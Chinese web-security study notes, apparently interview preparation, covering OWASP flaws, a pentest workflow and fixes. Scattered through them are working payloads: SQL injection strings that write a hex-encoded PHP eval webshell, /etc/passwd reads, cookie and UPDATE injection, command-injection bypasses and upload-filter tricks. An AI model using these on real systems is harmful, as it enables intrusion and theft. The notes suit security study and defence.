目录
1.OWASP漏洞
SQL注入防护方法:
失效的身份认证和会话管理
跨站脚本攻击XSS
直接引用不安全的对象
安全配置错误
敏感信息泄露
缺少功能级的访问控制
跨站请求伪造CSRF
使用含有已知漏洞的组件
未验证的重定向和转发
2.渗透测试流程
a、信息收集
1、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。
2、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
6、google hack 进一步探测网站的信息,后台,敏感文件
b、漏洞扫描
开始检测漏洞,如XSS,XSRF/CSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
c、漏洞利用
利用以上的方式拿到webshell,或者其他权限
d、权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
e、日志清理
f、总结报告及修复方案
3.web安全常见漏洞修复建议
3.1.CSRF
1)重要功能增加确认操作或重新认证,例如支付交易、修改手机号码等
2)加验证码
3)每个会话中使用强随机令牌(token)来保护。
4)检验HTTP Referer
3.2.SQL注入
1)在服务器端要对所有的输入数据验证有效性。
2)在处理输入之前,验证所有客户端提供的数据,包括所有的参数、URL和HTTP头的内容,对特殊字符进行过滤、转移、替换、删除
3)验证输入数据的类型、长度和合法的取值范围。
4)使用白名单验证允许的输入字符而不是黑名单。
5)在危险字符输入后进行转义或编码。
6)明确所有输入正确的字符集。
7)不使用动态拼接的SQL语句,如果使用对特殊字符进行转义。
8)设置最小权限运行程序
3.3.OS命令注入
1)不仅要在客户端过滤,也要在服务器端过滤。
2)要用最小权限去运行程序,不要给予程序多余的权限,最好只允许在特定的路径下运行,可以通过使用明确运行命令。
3)在程序执行出错时,不要显示与内部实现相关的细节。
4)如果只允许运行有限的命令、使用白名单方式过滤。
5)对于需要运行命令的请求,尽可能减小需要从外部输入的数据。比如:传参数的地方不要传命令行。
6)有下载文件,给文件分配一个ID号来访问文件,拒绝文件名访问。如果需要用文件名,严格检测文件的合法性。
3.4.XPath注入
1)在服务器端开始处理用户提交的请求数据之前,对输入的数据进行验证,验证每一个参数的类型、长度和格式。
2)对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息,这样可以向攻击者提供更少的信息进行下一步注入攻击。
3)检查是否有特殊字符,如果有特殊字符 ,就转义特殊字符或者替换。例:单引号、双引号都转义或者替换。
4)XPath查询参数化,编译构建XPath表达式,将数据输入以 变量形式传递。
5)敏感信息如密码之类,使用哈希值较长的算法处理。
3.5.LDAP注入
1)使用转义特殊字符和白名单来验证输入。
3.6.JSON注入
1)在特殊字符前加反斜杠()进行转义
2)使用Javascript编码
3)使用HTML编码
3.7.XSS
1)在输入过滤,在显示的地方做输出编码。
2)使用一个统一的规则做输出编码
3)富文本框,使用白名单控制输入。
4)使用HTTPOnly标志
3.8.会话攻击
1)采用强算法生成会话ID,会话ID必须具有随机性和不可预测性,长度至少为128位。
2)设定会话过期时间,如:在一定时间内没有与应用交互,设定在登录一定时间内要重新输入验证用户名密码,如一天等。
3)设置好Cookie的两个属性:secure和HttpOnly来防御嗅探和阻止JS操作。
3.9.身份认证
1)在用户注册时强制用户输入较高强度密码、
2)登录认证错误信息显示登录失败,用户名或 密码错误。
3)防止撞库等攻击,应该登录三次失败后下一次登录以5秒倍数,4次登录失败,让用户输入验证码。
4)如果每分钟进行几十次尝试登录,应该被阻止一段时间(如20分钟),给出清楚明白的信息,说明为什么会阻止登录一段时间。
5)使用HTTPS请求传输身份验证和密码、身份证、手机号码,邮箱等数据。
6)当密码重置时,以短信方式通知用户
7)用户账号上次使用信息在下一次成功登陆时向用户报告。
8)在执行关键操作(如:修改登录密码、支付密码、邮箱、手机号码等)使用多因子身份验证。
3.10.直接对象引用
1)使用的唯一标识可以通过随机数生成以难以猜测。
2)在进行页面显示或做处理之前对用户权限进行检查。
3)权限信息保存在session中。
3.11.Tomcat安全配置
1)Tomcat以没有特权的用户账户和组运行,没有执行交互shell命令权限。
2)Tomcat运行的版本必须打了所有安全补丁的版本。
3)Tomcat默认的例子相关路径和文件必须删除。
4)Tomcat管理员默认密码必须被修改成复杂密码。
5)页面出现信息不能显示Tomcat的版本信息和系统信息。
6)Tomcat配置文件执启用安全的http方法,如:GET POST。
7)应用程序和管理程序使用不同的端口。
8)部署前删除测试代码文件。
9)删除无用的文件如:备份文件、临时文件等。
10)配置文件中没有默认用户和密码。
11)不要在robot.txt中泄露目录结构。
3.12.Apache安全配置
1)选择漏洞较少的apache版本。
2)隐藏Apache版本号。
3)删除Apache欢迎页面。
4)配置只允许访问Apache的Web目录
5)应用程序和管理程序使用不同的端口。
6)管理额控制台必须使用SSL协议。
7)部署前删除测试代码文件。
8)删除无用的文件如:备份文件、临时文件等。
9)配置文件中没有默认用户和密码。
10)不要在robot.txt中泄露目录结构。
3.13.数据库通用配置
1)修改数据库默认用户名和密码。
2)数据库用户的密码要符合一定的复杂度。
3)访问数据库的用户要赋予所需要的最小权限。
4)启动应用的系统用户必须是专用的,没有系统级别权限的用户和组。
3.14.绕过认证
1)对登录后可以访问的URL做是否登录检查,如果没有登录将跳转到登录页面。
2)对于敏感信息的请求如登录时、修改密码等请求一定要用HTTPS协议。
3.15.越权访问
1)验证一切来自客户端的参数,重点是和权限相关的参数,比如用户ID或者角色权限ID等。
2)session ID 和认证的token做绑定,放在服务器的会话里,不发送给客户端。
3)对于用户登录后涉及用户唯一信息的请求,每次都要验证检查所有权,敏感信息页面加随机数的参数,防止浏览器缓存内容。
把程序分成匿名,授权和管理的区域,通过将角色和数据功能匹配。
4)不适用参数来区分管理员和普通用户。
3.16.文件上传
1)上传的路径要限制在固定路径下。
2)上传文件路径只给只读和写权限,不需要执行权限。
3)服务端文件类型要使用白名单过滤,后台不应有添加扩展名类型功能;通过配置文件添加文件类型。
4)文件上传使用自己的命名规则重新命名上传的文件。
3.17.目录遍历
点 %2e
斜线%2f
反斜线%5c
1)验证重定向的URL。
2)使用白名单验证重定向目标。
3)网站内重定向使用相对路径URL。
4)重定向或者转发之前,要验证用户是否有权限访问目标URL。
5)过滤.(点)等可能的恶意字符
6)正则判断用户输入的参数的格式,看输入的格式是否合法:
7)php.ini 配置 open_basedir:这个参数值得的是用户只能访问的目录
3.18.业务逻辑漏洞
1)应用系统必须确保所有输入和传递的时候必须经过有效验证,不仅仅是在刚进入应用系统的时候进行数据验证。
2)应用程序应该有检查功能,避免攻击者可以通过预测、操作参数或者利用隐藏的功能(例如调试)来阻碍操作或者改变业务逻辑工作流程。
3)应用需要对输入进行检查,不允许用户直接提交未经过验证的数据到服务器,因为这些数据来不可编辑的控件,或者用户没有前端提交的权限,任何可编辑控件必须有阻止恶意的写入或修改的功能。
4)开发应用的时候需要注意时间处理问题。攻击者可以简单地通过了解不同的处理时间、结果来获取一些参数,所以虽然他们提交的结果也在相同的时间,符合规则,但却添加了其他步骤或者处理。
5)应用程序需要有阻止攻击者通过延长允许的交易时间的功能,这种情况可以在操作超过规定的时间后通过取消或者重置交易。
6)应用程序需要能够过滤检测的业务逻辑:当一个功能或者操作只允许被执行有限的几次 或者用户不再能够执行这个功能的时候,应用需要能够检测出来。为了阻止用户过多次的执行某个功能, 应用程序可以通过类似缓存这种机制来控制,或者使用不允许用户过多次执行功能的机制。
7)应有用户正确的按照业务流程来完成每一个步骤的检测机制,这样可以阻止黑客在业务流程中通过跳过、绕过、重复任何业务流程中的工序检查。开发这部分业务逻辑的时候应该测试一些无用或者误用的测试用例,当没有按照正确的顺序完成正确的步骤的时候,就不能成功完成业务流程。
4.SQL注入
4.1.注入类型
POST/GET/COOKIE注入
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,
一般的注入我们是使用get或者post方式提交,
get方式提交就是直接在网址后面加上需要注入的语句,
post则是通过表单方式,
get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
COOKIE注入:
第一步:去掉参数,看是否报错?
www.xxxxxx.com/Newsshow.asp? (结果报错,报错就对了。)
第二步:清空url栏,并在浏览器加入以下js语句:(这里的url栏是指:www.xxxxxx.com/Newsshow.asp? )
javascript:alert(document.cookie="id="+escape("212"));
回车,这里会弹窗id=212;以后自己想去SQL注入,js里面的参数可以自行修改的。
第三步:刷新不含参数的网页,返回正常。
www.xxxxxx.com/Newsshow.asp? (返回正常。说明已经可以用cookie注入了)
第四步:确保100%能cookie注入数据库
按照以上方式,在浏览器输入以下js语句:
javascript:alert(document.cookie="id="+escape("212 and 1=1"));
再访问:www.xxxxxx.com/Newsshow.asp? (返回正常)
再输入:
javascript:alert(document.cookie="id="+escape("212 and 1=2"));
再访问:www.xxxxxx.com/Newsshow.asp? (返回错误,说明100%存在cookie注入)
4.2.产生原因
1. 不安全的数据库配置
2. 转义字符处理不当
3. 类型处理不当
4. 查询语句组装不当
5. 错误处理不当
6. 多个提交处理不当
4.3.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@secure_file_priv 与mysql读取写入有关
/*当secure_file_priv 值为空时候三个函数不限制(into oufile()、load_file()、into dumpfile()),值为指定目录时只能导入导出指定目录,当为NULL时候禁止导入导出功能*/
load_file() MYSQL读取本地文件的函数
@@datadir 数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
4.4.SQL头注入点
UA
REFERER
COOKIE
IP
4.5.盲注
4.5.1.盲注原理
是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。
4.5.2.盲注的手段
一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。
4.6.宽字节注入
4.6.1.产生原理
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
在哪里编码
根本原因
character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。
4.6.2.解决办法
统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。
4.7.SQL注入写入一句话
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
?id=1 union select 1,"",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select
1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile
"E:/study/WWW/evil.php"
into outfile方式:
select '' into outfile 'c:/phpstudy/www/webshell.php';
into dumpfile方式:
select''into dumpfile 'c:/phpstudy/www/webshell.php';
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
show variables like '%general%'; #查看配置set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell
地址
select '' #写入shellset
global general_log=off; #关闭general log模式
读取文件
Union select 1,2,load_file(‘/etc/passwd’)--+
5.XSS
5.1.XSS原理
反射型
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功
储存型
存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。
DOM型
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
5.2.DOM型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。
DOM型:通过修改页面的DOM节点形成的XSS。DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。
5.3.DOM型XSS 自动化测试或人工测试
人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。
5.4.对于XSS怎么修补建议
输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。
除此之外,还有做HTTPOnly对Cookie劫持做限制。
5.5.XSS蠕虫产生条件
正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。
不一定需要存储型XSS
6.CSRF
跨站请求伪造(CSRF/XSRF)
6.1.漏洞实质
服务器无法准确判断当前请求是否是合法用户的自定义操作
如果服务器在用户登录之后给予用户唯一一个合法令牌,每一次操作过程中,服务器都会验证令牌是否符合正确,如果正确则继续操作,否则不执行操作。
一般情况下,给予的令牌会写到表单中隐藏的value值中,随着表单内容进行提交
6.2.Referer防御CSRF原理
当用户点击被构造好的利用界面,在执行用户对应操作时,提交的HTTP请求中就有对应的Referer值,此时服务器判断Referer值是否与服务器的域名信息有关。如果不相关则不执行操作。
6.3.XSS与CSRF的区别
1、xss利用站点内的信任用户,盗取Cookie
2、CSRF通过伪装成受信任用户请求受信任的网站
6.4.CSRF利用条件
1、用户已经登陆系统
2、用户会访问对应的链接
6.5.手动探测原理
探测web应用程序具有防止CSRF的措施
一般情况下使用JS验证,但是是否执行成功取决于用户
6.6.防御措施
HTTP Referer头 是否设置Token HTTP自定义头
1.验证码防御:在进行某些敏感操作时,系统会出现验证码验证,强制用户与应用程序交互,使得用户发现可能存在的非法行为。
2.Referer头 修改密码等操作,必定是在登录之后的行为
3.随机生成一个不易被猜解的参数,如token
7.SSRF
7.1.SSRF原理
SSRF(服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
7.2.SSRF漏洞的验证方法:
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]
7.3.SSRF漏洞的成因 防御 绕过
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。
利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。
防御:禁止跳转,限制协议,内外网限制,URL限制。
绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。
8.上传
8.1.文件上传漏洞原理
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件
8.2.常见的上传绕过方式
前端js验证:禁用js/burp改包
大小写
双重后缀名
Contype :mime 上传文件类型
过滤绕过 pphphp->php
文件解析规则绕过
Windows环境特性绕过 ::$DATA
文件名大小写绕过
双写绕过
点空格绕过
文件头绕过 添加GIF89a
8.3.防护
文件上传目录设置为不可执行
使用白名单判断文件上传类型
用随机数改写文件名和路径
8.4.审查上传点的元素意义
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
9.文件包含
9.1.文件包含原理
引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件;
用户能够控制该动态变量。
9.2.文件包含类型以及区别
本地包含
http://127.0.0.1/fileupload/include.php?name=1.txt
远程包含
http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt
9.3.导致文件包含的函数
PHP:include(), include_once(), require(), require_once(), fopen(), readfile()
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), …
ASP:include file, include virtual,
9.4.文件包含修复
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞
目前业内最好的修复方案即是设置类似白名单的方法
指定访问一定的路径,再将参数拼接到路径当中
10.ARP欺骗
10.1.ARP欺骗原理
每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能
10.2.防护
1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
2.在网关绑定主机MAC与IP地址
3.使用ARP防火墙
11.代码执行、命令执行
代码执行:
原理:
实际上就是调用服务器网站代码进行执行。
危害
执行任意代码、向网站写webshell、控制整个网站甚至服务器
修复方案:
保证用户不能轻易接触eval()函数的参数或者用正则严格判断输入的数据格式
字符串使用单引号包裹,并在插入前进行addslashes()
对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用 单引号包裹
命令执行
原理:
攻击的应用在主机上执行任意命令。
修复方案:
能用脚本解决的工作,不调用其他程序处理,尽量少用执行命令的函数,并在disable_functions中禁用
进入命令执行的函数或者方法之前,对参数进行过滤
参数的值尽量用引号包裹(单引号变量不解析),并在拼接前调用addslashes进行转义
危害:
继承web服务器程序的权限执行系统命令、读写文件
反弹shell
控制整个网站
绕过:
换行符 %0a
回车符 %0d
连续指令 ;
后台进程 &
管道符 |
逻辑 || &&
12.DDOS
12.1.Ddos原理
利用合理的请求造成资源过载,导致服务不可用
12.2.syn洪流的原理
伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。
12.3.CC攻击原理
对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。
12.4.DDOS防护
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。
13.Redis未授权访问
13.1.产生原因
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
13.2.利用条件和方法
条件:
a、redis服务以root账户运行
b、redis无密码或弱密码进行认证
c、redis监听在0.0.0.0公网上
方法:
a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
b、上传SSH公钥获得SSH登录权限
c、通过crontab反弹shell
d、slave主从模式利用
13.3.修复
密码验证
降权运行
限制ip/修改端口
Jenkins未授权访问
攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell
14.撞库攻击
14.1.撞库攻击原理
也就是黑客通过收集互联网已泄露的用户+密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登陆的用户,这样一旦用户为了省事,在多个网站设置了同样的用户名和密码的话,黑客很容易就会通过字典中已有的e799bee5baa6e79fa5e98193e58685e5aeb931333337616461信息,登录到这些网站,从而获得用户的相关信息,如:手机号码、身份证号码、家庭住址,支付宝及网银信息等。这些信息泄露后,不仅会给用户和精神和经济带来巨大损失,同时也会给相关网站带来负面影响。简单理解撞库就是黑客无聊的“恶作剧”,不过得看社会危害性如何。
13.2. 防御撞库攻击
(1)重要网站/APP的密码一定要独立,猜测不到,或者用1Password这样的软件来帮你记忆;
(2)电脑勤打补丁,安装一款杀毒软件;
(3)尽量不使用IE浏览器
(4)支持正版,因为盗版的、破解的总是各种猫腻,后门存在的可能性很大;
(5)不那么可信的软件,可以安装到虚拟机里;
(6)不要在公共场合(如咖啡厅、机场等)使用公共无线,自己包月3G/4G,不差钱,当然你可以用公共无线做点无隐私的事,如下载部电影之类的;
(7)自己的无线AP,用安全的加密方式(如WPA2),密码复杂些;
(8)离开电脑时,记得按下Win(Windows图标那个键)+L键,锁屏,这个习惯非常非常关键;
14.2.WAF层次防御
WAF会从一个请求第一次访问您的站点开始,就会套用一个非常复杂的人机识别模型去分析该访问者是否符合一个正常用户的行为特征,比如说,一个正常用户不会在没有页面访问或停留的情况下直接就提交一个登陆请求,但撞库攻击会。除了行为分析,还会结合用户的各种流量信息、浏览器特征,以及阿里云的大数据信息(包含大量肉鸡、恶意IP、恶意脚本、恶意软件等信息),最终综合判断一个请求是否正常可信。
这套分析过程对于合法用户的访问是没有任何感知的,他们依然会像往常一样完成各种登陆、注册、验证、秒杀等动作,但对于行为可疑的用户,WAF会在数据风控防护的关键接口(比如注册、登录等)进行人机识别验证,直到确认该用户合法才会放行,从而真正达到精确防护的同时,又最大限度降低了对正常用户的干扰
14.3.脱裤、撞库、洗库、社工库联系
· 拖库:本来是数据库领域的专用语,指从数据库中导出数据。而现在它被用来指网站遭到入侵后,黑客窃取数据库的行为。
· 撞库:使用大量的一个网站的账号密码,去另一个网站尝试登陆。
· 洗库:黑客入侵网站在取得大量的用户数据之后,通过一系列的技术手段和黑色产业链将有价值的用户数据变现。
· 社工库:黑客将获取的各种数据库关联起来,对用户进行全方位画像。
黑客入侵A网站后对网站拖库,拿到的数据可以存到自己的社工库里,也可以直接洗库变现。拿到的这部分数据再去B网站尝试登陆,而这就可以称之为是撞库。撞库后的数据可以继续存入社工库,或是洗库变现,以此循环...
15.路由控制 RIP
静态路由是指事先设置好路由器和主机中并将路由信息固定的一种方法。
动态路由是指让路由协议在运行过程中自动的设置路由控制信息的一种方法。
动态路由:
RIP(路由信息协议)
OSPF(开放式最短路径优先)
RIP基于UDP 端口520,BGP基于TCP,OSPF和EIGRP基于IP
RIP,BGP应该在应用层,OSPF,EIGRP在传输层。
16.TCP/IP协议栈与数据包封装
https://www.jianshu.com/p/eff7d776c0b3
TCP/IP网络协议栈分为应用层、传输层、网络层和链路层四层
TCP/IP协议的数据封装过程
数据→数据段→数据包→数据帧→数据流
传输层的数据单元是数据段,
网络层的数据单元是数据包,
数据链路层的数据单元是数据帧,
物理层的数据单元是数据流。
数据包包含:以太网包首部、IP包首部、TCP包首部、数据
17.Python3正则表达式
https://www.runoob.com/python3/python3-reg-expressions.html
\w 匹配数字字母下划线
\W 匹配非数字字母下划线
\s 匹配任意空白字符,等价于 [\t\n\r\f]。
\S 匹配任意非空字符
\d 匹配任意数字,等价于 [0-9]。
\D 匹配任意非数字
\A 匹配字符串开始
\Z 匹配字符串结束,如果是存在换行,只匹配到换行前的结束字符串。
\z 匹配字符串结束
\G 匹配最后匹配完成的位置。
\b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。
\B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
18.解析漏洞
a、IIS 6.0
/xx.asp/xx.jpg “xx.asp”是文件夹名
b、IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
c、Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg.php
d、Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
e、lighttpd
xx.jpg/xx.php,
19.CSRF 和 XSS 和 XXE 的区别以及修复方式
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、,例如:“ ‘ ”,“ “ ”,” < “,” > “,” on* “等危险字符。使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML解析库在调用时严格禁止对外部实体的解析。
20.CSRF、SSRF、和重放攻击有什么区别
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
21.身份认证漏洞中最常见的是
21.1.会话固定攻击
会话固定攻击(session fixation attack)是利用应用系统在服务器的会话ID固定不变机制,借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话以成功冒充他人,造成会话固定攻击。
1.Attacker先打开一个网站http://www.baidu.com,然后服务器会回复他一个session id。比如SID=abcdefg。Attacker把这个id记下了。
2.Attacker给UserA发送一个电子邮件,他假装是什么推销什么,诱导UserA点击链接http://unsafe/?SID=abcdefg,SID后面是Attacker自己的session id。
3.UserA被吸引了,点击了http://unsafe/?SID=abcdefg,像往常一样,输入了自己的帐号和口令从而登录到银行网站。
4.因为服务器的session id不改变,现在Attacker点击http://unsafe/?SID=abcdefg后,他就拥有了Alice的身份。可以为所欲为了。
21.1.1.获取SessionID的方式
暴力破解:尝试各种Session ID,直到破解为止;
预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
窃取:使用网络嗅探,XSS攻击等方法获得。
21.1.2.防御手段
更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
关闭所有phpinfo类dump request信息的页面。
验证HTTP头部信息
21.2.Cookie 仿冒
22.代码执行,文件读取,命令执行的函数
代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
文件读取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
23.为什么参数化查询可以防止sql注入
使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行
简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
24.sql里面只有update怎么利用
先理解这句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就实现了注入
a、修改 homepage 值为http://xxx.net', userlevel='3
之后 SQL 语句变为
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 为用户级别
b、修改 password 值为mypass)' WHERE username='admin'#
之后 SQL 语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#', homepage='$homepage' WHERE id='$id'
c、修改 id 值为' OR username='admin'之后 SQL 语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
25.mysql5.0以上和5.0区别
